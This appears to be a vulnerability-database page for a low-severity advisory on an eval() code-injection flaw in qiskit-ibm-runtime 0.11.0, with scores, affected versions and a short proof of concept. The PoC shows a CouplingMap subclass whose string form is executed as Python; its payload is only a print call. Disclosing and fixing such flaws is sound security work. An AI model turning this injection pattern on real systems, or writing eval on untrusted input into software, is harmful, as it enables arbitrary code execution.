GHSA-cq96-9974-v8hm json
Dynamic Variable Evaluation in qiskit-ibm-runtime
published 2y ago modified last yr.
- cvss
- 2.8
- version 3.1, GitHub
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
### Summary
An `eval()` method exists `Options._get_program_inputs`. This is bad in any case, but especially bad because `Options` are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.
### Details
https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140
### PoC A local exploit would be something like
```python from qiskit import transpiler
class BadActor(transpiler.CouplingMap): def __str__(self): return "print('external code')"
```
Where `print("external code")` can be any arbitrary python code string.
Then if you did a normal workflow and used a specifically constructed `CouplingMap` subclass like `BadActor` above:
```python from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler from qiskit import QuantumCircuit
cmap = BadActor.from_line(42) service = QiskitRuntimeService() options = Options(optimization_level=1) options.simulator = dict(coupling_map=cmap))
bell = QuantumCircuit(2) bell.h(0) bell.cx(0, 1) bell.measure_all()
with Session(service=service, backend="ibmq_qasm_simulator") as session: sampler = Sampler(session=session, options=options).run(bell) ```
This will print `external code`
### Impact
Security vulnerability.
Patch / fix
Is GHSA-cq96-9974-v8hm in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.
Check with FencerCVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| GitHub | 3.1 | 2.8 | CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| pypi | qiskit-ibm-runtime | >=0.11.0, <0.11.1 |
0.11.1 |
Classification
- Weakness
-
- CWE-627 Dynamic Variable Evaluation
References
Sources
- GitHub Advisory GHSA-cq96-9974-v8hm
Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.